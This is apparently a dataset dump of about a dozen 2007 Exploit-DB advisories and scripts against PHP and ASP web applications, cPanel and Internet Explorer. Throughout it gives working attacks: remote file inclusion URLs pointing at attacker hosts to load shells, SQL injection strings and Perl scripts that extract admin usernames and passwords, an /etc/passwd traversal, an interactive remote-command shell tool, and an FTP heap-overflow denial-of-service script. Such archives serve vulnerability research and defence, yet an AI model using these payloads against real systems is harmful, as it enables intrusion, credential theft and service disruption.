QLWD/code_shield huggingface dataset:
标题: Activist Mobilization Platform (AMP) 3.2 - Remote File Inclusion EDB-ID: 3471 CVE: 2007-1571 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-13 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_71$2007

---------------------------------------------------------------------------
[ECHO_ADV_71$2007] AMP v3.2 (base_path) Remote File Inclusion Vulnerability
---------------------------------------------------------------------------

Author  : Dedi Dwianto a.k.a the_day
Date Found : March, 13th 2007
Location : Indonesia, Jakarta
web  : http://advisories.echo.or.id/adv/adv71-theday-2007.txt
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Activist Mobilization Platform (AMP )
version  : v3.2 
URL  : http://www.radicaldesigns.org

AMP is completely dynamic suite of content management tools designed with the small
non profit organization,grants roots coalition,political campaign or mass mobilization in mind.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

- Invalid require_once function at includes/base.php
-----------------------includes/base.php------------
....
<?php
require_once($base_path."includes/base_db.php");
require_once($base_path."includes/base_template.php");
?>

----------------------------------------------------------

Input passed to the "$base_path." parameter in base.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~~

http://localhost/amp-3.2/includes/base.php?base_path=http://atacker.com/inject.txt?


Solution:
~~~~~~

- Sanitize variable $base_path affected files.
- Turn off register_globals
- Upgrade to Lastest Version

---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
     EcHo Research & Development Center
     http://advisories.echo.or.id
     erdc[at]echo[dot]or[dot]id
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2007-03-13] URL: https://www.exploit-db.com/exploits/3471
标题: X-ice News System 1.0 - 'devami.asp?id' SQL Injection EDB-ID: 3469 CVE: 2007-1570 2007-1438 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-13 漏洞利用脚本: Title  : X-ice News System v1.0 Remote SQL Injection Vulnerability
#Author : CyberGhost
#Page   : http://www.x-ice.org/haber%5Fv1/
#Download : http://aspindir.com/indir.asp?id=4601&sIslem=%DDndir

Vuln.

Username : /devami.asp?id=-1+union+select+0,kullaniciadi,2,3,4,5,6,7+from+admin
Password : /devami.asp?id=-1+union+select+0,sifre,2,3,4,5,6,7+from+admin

Login : /admin/kontrol.asp

====================================

Thanx : redLine - Hackinger - LiarHack - excellance - SaCReD SeeR - MaTRaX - by_emR3 - kerem125 - Bolivar - All TiTHaCK Members

And All TURKISH HACKERS !

# milw0rm.com [2007-03-13] URL: https://www.exploit-db.com/exploits/3469
标题: GestArt Beta 1 - 'aide.php?aide' Remote File Inclusion EDB-ID: 3467 CVE: 2006-5612 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-13 漏洞利用脚本: .-""""""""-.                                 
                                                         /   Dj7xpl   \                              
                                                        |              |                                
                                                        |,  .-.  .-.  ,|                                
                                                        | )(_o/  \o_)( |                                     
                                                        |/     /\     \|                                 
                                              (@_       (_     ^^     _)                  
                                         _     ) \_______\__|IIIIII|__/_______________________________
                                        (_)@8@8{}<________|-\IIIIII/-|________________________________>
                                               )_/        \          / 
                                               (@
              
+_______________________________________________Iranian Are The Best In World___________________________________________+
#
#
#   Portal     :   GestArt 
#   Download   :   http://www.phpscripts-fr.net/scripts/scripts.php?cat=Gestion
#   Author     :   Dj7xpl  | Dj7xpl@yahoo.com
#   Risk       :   High (Remote File Inclusion Exploit)
#
+_______________________________________________________________________________________________________________________+


+-------------**************************************** aide.php *********************************************-----------+
#
#
#    <? include("$aide.txt");?> </p>    <<<< line (21)
#
#
+-------------***********************************************************************************************-----------+

+_______________________________________________________________________________________________________________________+
#
#
#    Exploit  :  http://[target]/[path]/aide.php?aide=http://evilsite/shell         <<<<  Shell (Text File)
#    Example  :  http://localhost/getart/aide.php?aide=http://localhost/c99         <<<<  c99.txt
#
+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
#
#
#    Sp Tnx      :  Milw0rm, Ashiyane, Delta Hacking, Virangar, Hacker.ir, Shabgard.org,Simorgh .............
#
#
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-03-13] URL: https://www.exploit-db.com/exploits/3467
标题: BP Blog 7.0 - 'layout' SQL Injection EDB-ID: 3466 CVE: 2007-1445 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-12 漏洞利用脚本: #####################################
# BeyazKurt <B3yazKurt@Hotmail.Com>
# Script : BP Blog
# D0rk   : "Powered by BP Blog 7.0"
# thnx   : Forever.slam and all WorldHackerz Team!
#
# WorldHackerz Mirr0r'da Taht Bizimdir (h) :=)
#####################################
-------
Exploit :
http://www.Site.Com/Path/default.asp?layout=-1%20%20union%20select%201,fldauthorusername,fldauthorpassword,1,1,1,1%20from%20tblauthor%20where%201=1
Admin Panel : admin_default.asp

# milw0rm.com [2007-03-12] URL: https://www.exploit-db.com/exploits/3466
标题: WebCreator 0.2.6-rc3 - 'moddir' Remote File Inclusion EDB-ID: 3473 CVE: 2007-1459 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-13 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_74$2007

-------------------------------------------------------------------------------------
[ECHO_ADV_74$2007] WebCreator <= 0.2.6-rc3 (moddir) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------

Author  : Dedi Dwianto a.k.a the_day
Date Found : March, 13th 2007
Location : Indonesia, Jakarta
web  : http://advisories.echo.or.id/adv/adv74-theday-2007.txt
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : WebCreator
version  : <= 0.2.6-rc3
URL  : http://webcreator.innoxia.cz/

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

- Invalid include_once function at mods/content/load.inc.php
-----------------------mods/content/load.inc.php------------

<?
 include_once($moddir . '/functions.lib.php');
?>

----------------------------------------------------------

Input passed to the "$moddir" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

config/load.inc.php
http/load.inc.php

and More ....



Proof Of Concept:
~~~~~~~~~~~~~

http://localhost/mods/config/load.inc.php?moddir=http://atacker.com/inject.txt?
http://localhost/mods/http/load.inc.php?moddir=http://atacker.com/inject.txt?


Solution:
~~~~~

- Sanitize variable $moddir affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~
     EcHo Research & Development Center
     http://advisories.echo.or.id
     erdc[at]echo[dot]or[dot]id
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2007-03-13] URL: https://www.exploit-db.com/exploits/3473
标题: JGBBS 3.0beta1 - 'search.asp?author' SQL Injection EDB-ID: 3470 CVE: 2007-1572 2007-1440 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-13 漏洞利用脚本: <!--

JGBBS 3.0beta1 Version Search.ASP "Author" SQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-13}

Product / Vendor :

JGBBS Is a Tree-style Online Forum System

http://sourceforge.net/projects/jgbbs/

Bug :

http://localhost/script/search.asp?author=-SQL Inj.-&bid=0

SQL Injection Exploit :

-->

<title>JGBBS 3.0beta1 Version Search.ASP "Author" SQL Injection Exploit</title>
<body bgcolor="#000000">
<form name="searchFrm" method="get" action="http://localhost/script/search.asp">
<table width="500" border="0" align="center">
<font face="Verdana" size="2" color="#FF0000"><b>JGBBS 3.0beta1 Version Search.ASP "Author" SQL Injection Exploit</b></font>
<br>
  <tr>
    <td align="right"><font face="Arial" size="1" color="#00FF00">SQL Injection Code</td>
    <td>&nbsp;</td>
    <td><input name="author" type="text" value="UniquE-Key'UNION SELECT 0,1,user_password,3,4,5,user_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 FROM users" class="inputbox" style="color: #000000" style="width:300px; "></td>
  </tr>
  <tr>
    <td align="right"><font face="Arial" size="1" color="#00FF00">Search Board</td>
    <td>&nbsp;</td>
    <td>
      <select name="bid">
        <option value="0">(ALL)</option>
      </select>&nbsp;
      <input type="submit" value="Apply">
    </td>
  </tr>
</table>
</form>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>UniquE@UniquE-Key.ORG</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>

<!--
Tested :

JGBBS 3.0beta1

Vulnerable :

JGBBS 3.0beta1

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org
-->

# milw0rm.com [2007-03-13] URL: https://www.exploit-db.com/exploits/3470
标题: AssetMan 2.4a - 'download_pdf.php' Remote File Disclosure EDB-ID: 3458 CVE: 2007-1427 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-11 漏洞利用脚本: +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|AssetMan 2.4a <= (download_pdf.php) Remote File Disclosure Vulnerability
|
|Script: AssetMan
|
|Verson: 2.4a
|
|URL: http://www.bctree.com/~assetman/assetman-2.4a.zip
|
|Discover: BorN To K!LL
|
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|Bug in:
|download_pdf.php
|
|Code:
|readfile($_GET["pdf_file"]);
|
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|ExploiT:
|~~~~~
|wWw.SiTe.cOm/[path]/download_pdf.php?pdf_file=../../../../etc/passwd
|
|+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|GreeTz 2:
|Dr.2 - str0ke - AsbMay .....
|
|KuW SeC .... AsbMay's Group ....
|
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

# milw0rm.com [2007-03-11] URL: https://www.exploit-db.com/exploits/3458
标题: cPanel 10.9.x - 'Fantastico' Local File Inclusion EDB-ID: 3459 CVE: 2007-1455 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-11 漏洞利用脚本: ##############################################################
Fantastico In all Version Cpanel 10.x <= local File Include

##############################################################to the
Note : Preparations php.ini in Cpanel  hypothetical and They also in
all WebServer

Must provide username  And pass  and login  :2082
To break the strongest protection   mod_security  & safe_mode:On  &
Disable functions :  All NONE



Vulnerable Code ( 1  ) :
 if(is_file($userlanguage))
   {
       include ( $userlanguage );

In

http://xx.com:2082/frontend/x/fantastico/includes/load_language.php



Exploit  1 :
http://xx.com:2082/frontend/x/fantastico/includes/load_language.php?userlanguage=/home/user/shell.php

id
uid=32170(user) gid=32170(user) groups=32170(user)

Exploit  2 :
http://xx.com:2082/frontend/x/fantastico/includes/load_language.php?userlanguage=/etc/passwd

###################################################
Vulnerable Code ( 2  ) :

$localmysqlconfig=$fantasticopath . "/includes/mysqlconfig.local.php";
if (is_file($localmysqlconfig))
       {
       include($localmysqlconfig);

in
http://xx.com:2082/frontend/x/fantastico/includes/mysqlconfig.php
And also many of the files of the program

Exploit :
First Create directory Let the name (/includes/)
and upload Shell.php  in (/includes/) Then  rename
mysqlconfig.local.php       D:

:::xploit::::
http://xx.com:2082/frontend/x/fantastico/includes/mysqlconfig.php?fantasticopath=/home/user/



###################################################


Discoverd By : cyb3rt & 020
###################################################

Special Greetings :_ Tryag-Team  &  4lKaSrGoLd3n-Team
###################################################

# milw0rm.com [2007-03-11] URL: https://www.exploit-db.com/exploits/3459
标题: SonicMailer Pro 3.2.3 - 'index.php' SQL Injection EDB-ID: 3457 CVE: 2007-1425 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-11 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: SonicMailer Pro <= 3.2.3 (index.php) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.triexa.com
#[$$         : Standart License 89$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//    SonicMailer Pro <= 3.2.3 (index.php) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?page=archive&list=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%201,2,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password)%20from%20smpro_admins/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-11] URL: https://www.exploit-db.com/exploits/3457
标题: Top Auction 1.0 - 'viewcat.php' SQL Injection EDB-ID: 3456 CVE: 2005-3952 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-11 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.phplabs.com
#[$$         : 39.95$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//    Top Auction 1.0 (viewcat.php) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/viewcat.php?category=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),nick,char(112,97,115,115,58),password),3%20from%20users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /pass:(.*?)<\/title>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-11] URL: https://www.exploit-db.com/exploits/3456
标题: Microsoft Internet Explorer - FTP Server Response Denial of Service (MS07-016) EDB-ID: 3444 CVE: 2007-0217 类型: DOS 平台: WINDOWS 发布日期: 2007-03-09 漏洞利用脚本: #!/usr/bin/perl

# MS 07-016 FTP Server Response PoC
# Usage: ./ms07016ftp.pl [LISTEN_IP]
#
# Tested Against: MSIE 6.02900.2180 (SP2)
#
# Details: The response is broken into buffers, either at length 1024,
#                  or at '\r\n'. Each buffer is apended with \x00, without
#                  bounds checking.  If the response is exctly 1024 characters
#                  in length, you will overflow the heap with the string \x00.


use IO::Socket;
use strict;

# Create listener
my $ip=shift || '127.0.0.1';
my $sock = IO::Socket::INET->new(Listen=>1,
                                 LocalHost=>$ip,
                                                     LocalPort=>'21',
                                                             Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");

# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 waa waa wee waa\r\n";

# Send response code with total lenght of response = 1024
while (<$sock_in>){
       my $response;
       if($_ eq "USER") { $response="331 ";}
       elsif($_ eq "PASS") { $response="230 ";}
       elsif($_ eq "syst") { $response="215 ";}
       elsif($_ eq "CWD") { $response="250 ";}
       elsif($_ eq "PWD") { $response="230 ";}
       else { $response="200 ";}
       print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);

# milw0rm.com [2007-03-09] URL: https://www.exploit-db.com/exploits/3444
标题: PostNuke Module phgstats 0.5 - 'phgdir' Remote File Inclusion EDB-ID: 3454 CVE: 2006-0164 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-11 漏洞利用脚本: #PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit
#
#Vendor: http://kent.dl.sourceforge.net/sourceforge/phgstats/phgstats_0.5.zip
#
#Vulnerable Code: include_once($phgdir . 'settings/config.inc.php');
#
#Coded by bd0rk || SOH-Crew
#
#Usage: expl.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, MereX, drummonster(laptop)
#
# Fixtip: Declare $phgdir or use hacking attempt
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'main/phgstats.inc.php?phgdir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: expl.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to phgstats ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-03-11] URL: https://www.exploit-db.com/exploits/3454